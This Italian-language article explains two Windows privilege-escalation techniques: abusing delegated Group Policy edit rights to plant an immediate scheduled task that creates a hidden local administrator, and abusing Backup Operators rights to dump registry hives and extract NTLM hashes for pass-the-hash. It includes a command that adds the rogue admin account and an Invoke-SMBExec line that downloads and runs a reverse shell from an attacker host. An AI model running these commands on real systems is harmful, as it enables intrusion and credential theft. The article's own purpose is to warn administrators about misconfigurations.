Windows e le “privilege escalations”
Tutti noi sappiamo quanto sia importante e fondamentale tenere i nostri sistemi Windows aggiornati ma questo sicuramente non basta perché, come ben noto, l’anello più debole della catena è sempre e solo il fattore umano.
Molto spesso gli attacchi più mirati tendono a sfruttare configurazioni errate del sistema piuttosto che andare alla vana ricerca di vulnerabilità non patchate.
Le cause di queste misconfigurazioni sono molteplici ma principalmente imputabili a:
- Sysadmin poco competenti, oppure distratti;
- Policy di sicurezza troppe deboli;
- Mancanza di una seria valutazione di impatto su alcune scelte fondamentali nella gestione di sistemi.
In questo articolo illustrerò un paio di tecniche di “privilege escalation”, ossia guadagnare i privilegi di Administrator o SYSTEM partendo da un utente non privilegiato, utilizzando tecniche meno comuni e che, anche se “borderline”, non andrebbero assolutamente sottovalutate.
Tecniche di Privilege Escalation nei sistemi Windows
Group Policy, deleghe e permessi: un’arma a doppio taglio
Le Group Policy sono la croce e delizia di tutto gli amministratori dei sistemi Windows in ambienti Active Directory. Se da un lato consentono una gestione avanzata ed estremamente granulare di tutti gli oggetti presenti in AD, dall’altra parte sono spesso assai complesse da gestire ed in caso di problemi il “troubleshooting” non è affatto banale.
Per non parlare delle deleghe che consentono ad un subset di utenti di gestire in proprio una specifica OU (Organizational Unit) ed eventualmente le relative group policy.
Spesso, a causa di permessi e concetti di ereditarietà poco chiari, una configurazione errata o non correttamente valutata può portare a gravi conseguenze in termini di sicurezza.
Esempio di Privilege Escalation sfruttando Group Policy
In questo esempio concreto, sfruttando queste (mis)configurazioni, andremo a creare un nuovo utente locale su una macchina vittima associandolo al gruppo locale degli Administrators senza che l’utenza che stiamo utilizzando ne abbia i diritti.
Mettiamoci nei panni dell’amministratore del dominio ActiveDirectory perché vogliamo delegare la gestione di una particolare OU (in questo caso “TESTOU”) allo user “testuser”
Associamo una Group Policy a questa specifica OU e per fare in modo che il nostro utente delegato possa gestire in pieno anche le group policy di questo contenitore, diamogli i permessi di “edit” sulla policy.
Lo scenario immaginato non è distante dalla realtà e senza rendercene conto, in questo modo abbiamo aperto una falla di sicurezza.
Come sfruttare le Group Policy per ottenere Privilege Escalation
Scopriamo il perché.
Supponiamo di essere un attaccante che sia riuscito ad entrare in possesso delle credenziali dell’utente al quale è stata delegata la gestione della OU e che abbia accesso alla rete aziendale. Ci colleghiamo sulla macchina “vittima” SERVER2 in rdp oppure attraverso una shell remota:
Come possiamo osservare, nessun permesso particolare. “testuser” fa solo parte del gruppo di default “Domain Users”
Il nostro utente non fa nemmeno parte dei “Local Administrators”.
Modificare le Group Policy per ottenere Privilege Escalation
Proviamo a verificare le Group Policy. Tutte le configurazioni relative a queste ultime sono memorizzate e replicate nei filesystem dei diversi Domain Controllers e rese disponibili ai client attraverso una particolare share:
Come possiamo vedere, in questa share (nome dominio\sysvol\…) i files e directories relativi alle group policy impostate a livello di dominio si trovano in una sottocartella identificata da un particolare ID che è quello della policy.
Cerchiamo di vedere i permessi associati a queste policy. Dato che l’output è assai lungo, facciamo il redirect su un file:
Analizzando il file saltano all’occhio questi permessi associati a “testuser”, il nostro utente:
Tradotto in termini semplici, “testuser” può scrivere in questa directory che identifica la policy con ID: {9E1A4376-2BA3-4D7A-8800-943DFDD377BC}.
Creare uno script per ottenere la Privilege Escalation
Verifichiamo se corrisponde al vero:
E in effetti è così. Ma come mai? Perché l’amministratore distratto aveva dato i diritti di “Edit Policy” su questa particolare policy all’utente “testuser”.
Questi diritti possono essere sfruttati in diversi modi, anche senza l’ausilio della console di Group Policy Management.
Sfruttamento delle Policy di avvio per Privilege Escalation
Chiaramente le policy a livello macchina sono le più interessanti in questo caso dato che vengono eseguite nel contesto dell’utente locale SYSTEM.
Ad esempio, si potrebbe inserire uno script malevolo (aggiungere lo user al gruppo ”Local Administrators” oppure richiamare una reverse shell, etc) nella directory:
C:\Windows\SYSVOL\sysvol\mylab.local\Policies\{9E1A4376-2BA3-4D7A-8800-943DFDD377BC}\Machine\Scripts\Startup
Esecuzione immediata di task schedulati
Questo script verrebbe eseguito al riavvio della macchina. Se invece non vogliamo aspettare il riavvio ci viene in aiuto l’“Immediate Scheduled Task”. Come dice il suo nome, è un Task schedulato che viene eseguito immediatamente ed è configurabile attraverso le Group Policy.
Si tratta solo di copiare un apposito file xml, ScheduledTasks.xml nella directory:
C:\Windows\SYSVOL\sysvol\mylab.local\Policies\{9E1A4376-2BA3-4D7A-8800-943DFDD377BC}\Machine\Preferences\ScheduledTasks
Possiamo trovare templates già pronti, come ad esempio nel tool powerview.ps1 oppure lo possiamo creare da una Group Policy nel nostro lab di prova.
Una volta ottenuto tale file, si cambiano le configurazioni relative ai comandi da eseguire, esempio:
<Command>c:\temp\script.bat</Command><Arguments></Arguments>
Nel file script.bat aggiungeremo le istruzioni necessarie:
net user superadmin abcd1234* /add net localgroup administrators superadmin /add
In seguito basterà copiare il file modificato ScheduledTasks.xml nella cartella di destinazione e forzare un refresh della policy :
E verificare l’esito dell’operazione:
E’ stato creato un nuovo utente e aggiunto al gruppo dei local administrators, tutto questo sfruttando semplicemente una group policy. Ora possiamo immedesimare l’utente Superadmin:
Abbiamo dato per scontato che questa policy fosse applicata alla macchina SERVER2, se volessimo essere sicuri basterebbe fare una query anche via ldap con strumenti come “ldifde.exe” oppure sempre attraverso il tool “powerview.ps1”
La potenza oscura dei “Backup Operators”
Questo gruppo nativo di Windows consente ai suoi membri di effettuare le operazioni di backup e restore. Perché mai utilizzare questo gruppo speciale? Perché durante le operazioni di backup e restore, l’operatore (o il processo impersonato) deve potere accedere a files e directory ai quali normalmente non avrebbe diritti per accedere..
Quindi, invece di garantire il pieno accesso (leggi privilegi di Admin e/o SYSTEM) a questi utenti ed ai servizi a loro associati, si preferisce concedere loro i permessi solo durante queste particolari operazioni. A livello di sistema operativo, al gruppo dei Backup Operators viene garantito il privilegio di SeBackupPrivilege e SeRestorePrivilege.
Privilege Escalation attraverso i Backup Operators
Si tratta di una misura cautelativa e totalmente condivisibile, in piena sintonia con le best practice che prevedono le profilazioni utenti con il concetto di “least privilege” e le “segregation of duty & roles”, ma cosa può succedere se un utente malintenzionato entra in possesso di queste credenziali?
Purtroppo le conseguenze potrebbero essere molto serie. Nel caso specifico andremo a simulare un attaccante, in possesso delle credenziali dell’operatore di backup e facente parte del gruppo locale “Backup Operators”, che riesce ad ottenere una windows command shell remota con i diritti di SYSTEM.
Concentriamoci sul privilegio di “Backup”. Come abbiamo visto questo garantisce all’utente durante le operazioni di backup, l’accesso a tutti i files e voci del registro Windows in barba a tutti i permessi.
Estrazione delle hash NTLM dal registro di Windows
Nel registro di Windows sono memorizzate molte informazioni sulla configurazione del sistema e alcune di queste molto critiche, come ad esempio le hash NTLM delle password degli utenti locali, ivi compresa quella dell’ “Administrator” locale.
Il nostro utente malintenzionato con i privilegi riservati ai Backup Operators e con un accesso sulla macchina vittima (esempio via Remote Desktop) potrebbe pensare di effettuare un backup delle voci del registro che riguardano gli utenti locali, salvarle localmente e in seguito dare in pasto questi files ad appositi tools che estraggono le hash NTLM delle password. Si avete capito bene, la privilege escalation è veramente un gioco da ragazzi in questo caso.
Vediamola da più vicino.
Prima di tutto occorre una command shell “elevata” (impropriamente in questo caso: “Run as Administrator”) per far si che i privilegi siano disponibili. In questo caso interviene anche lo User Access Control (UAC):
Dopo avere fornito le credenziali, verifichiamo i privilegi:
SeBackupPrivilege è presente ma disabilitato. Questo non rappresenta un problema dato che saranno le operazioni di backup ad abilitarlo.
N.B: in assenza di una shell “elevata” i privilegi, seppure assegnati, non sono visibili e quindi non usufruibili:
Tramite l’utility di Windows “reg.exe” si possono effettuare le operazione di backup delle voci del registro necessarie per estrarre le hash NTLM (chiavi SAM e SYSTEM):
Come possiamo vedere, essendo Backup Operator l’operazione avviene senza problemi.
Utilizzo di strumenti come mimikatz per Privilege Escalation
Un utente normale riceverebbe invece questo avviso:
Adesso che abbiamo i due files possiamo estrarre le hash con diverse utilities, in questo caso useremo il tool “mimikatz” caricato sulla nostra macchina Windows dopo avere copiato system.hive e sam.hive
Come si evince dallo screenshot, abbiamo ottenuto l’hash della password dell’utente Administrator grazie al solo privilegio di Backup.
Autenticazione con Pass-the-Hash
Con le note tecniche di Pass-the-Hash (ossia autenticarsi su un sistema Windows fornendo username e hash della password) possiamo a questo punto ottenere un accesso privilegiato sulla macchina vittima.
Nel caso specifico useremo uno script powershell “smbexec.ps1” che consente appunto di utilizzare questa tecnica. In fondo allo script andremo ad aggiungere le istruzioni per l’esecuzione della funzione con tutti i parametri necessari:
Invoke-SMBExec -Target victim_ip -Username Administrator -Hash 446687c38d831xxxxxxxxxxxxxxxxxxx -Command “powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http://attacker_ip/r.ps1`’);`””
Come comando da eseguire in caso di accesso riuscito richiameremo una reverse shell in powershell (r1.ps1) scaricata dal sito web dell’attaccante ed eseguita in memoria, senza scrivere nulla sul disco fisso della macchina vittima (ma potremmo eseguire qualsiasi altro comando nel contesto di SYSTEM) .
Lo stesso script smbexec.ps1 sarà scaricato dalla macchina attaccante ed eseguito in memoria:
E sulla macchina dell’attaccante lanciamo l’utility netcat per metterci in ascolto sulla porta definita nello script powershell pronti a ricevere la reverse shell:
Essendo l’utente SYSTEM abbiamo il controllo completo sulla macchina e partendo da qui possiamo utilizzare le tecniche “lateral movement” per accedere ad altre macchine.
Anche le operazioni di “restore” in senso lato non sono immuni da questi pericoli, anche qui esistono tutta una serie di tecniche che ci consentono di ottenere lo stesso risultato.
Per concludere: inserire un utente nel gruppo Backup Operators (ma anche Server Operators) equivale potenzialmente ad associarlo al gruppo Administrators!
Conclusioni
Con questi 2 semplici esempi ho dimostrato quanto sia fondamentale una corretta valutazione sull’impatto che potrebbe avere un’implementazione e/o modifica delle policy di sicurezza in ambiente Windows.
La valutazione di questi richiede conoscenze tecniche abbastanza approfondite e le aziende dovrebbe porsi la domanda se questi skill sono presenti o meno nella propria organizzazione ed agire di conseguenza. Contro l’errore umano non c’è molto da fare tranne che quello di eseguire prima tutta una serie di test mirati alla sicurezza prima di adottare una nuova politica.
In questi tempi si fa un gran parlare di GDPR, una normativa che sicuramente può aiutarci a capire meglio se e in che misura i nostri sistemi IT sono sicuri e protetti, ma non commettiamo l’errore di illuderci che COMPLIANCE equivalga a SECURITY!
Bibliografia / Links:
- https://decoder.cloud/2018/02/12/the-power-of-backup-operatos/
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- http://blog.gentilkiwi.com/mimikatz
- https://github.com/Kevin-Robertson/Invoke-TheHash
- https://github.com/samratashok/nishang/tree/master/Shells
- https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
A cura di: Andrea Pierini
Attualmente ricopre il ruolo di "IT Architect & Security Manager – Group Wide" in un'importante multinazionale industriale italiana.
Laureato, ha maturato una lunga esperienza nel mondo dell'ICT, dallo sviluppo Software alla gestione sistemistica, dal networking fino alla sicurezza.
Ha guidato importanti progetti sia applicativi che infrastrutturali con ruolo di Project Manager. Docente di corsi su temi specifici riguardanti la gestione dei sistemi Windows, Linux e Networking, con particolare attenzione alla sicurezza ICT.
Si definisce un "IT Security enthusiast" interessato a tutte le tecnologie emergenti ed alle ultime frontiere della sicurezza, sia "offensive" che "defensive".
Animato da un forte spirito divulgativo, ha presenziato diversi interventi in sedi anche accademiche, e pubblicato diversi articoli su magazine di settore. Ha iniziato recentemente un suo blog (https://decoder.cloud)
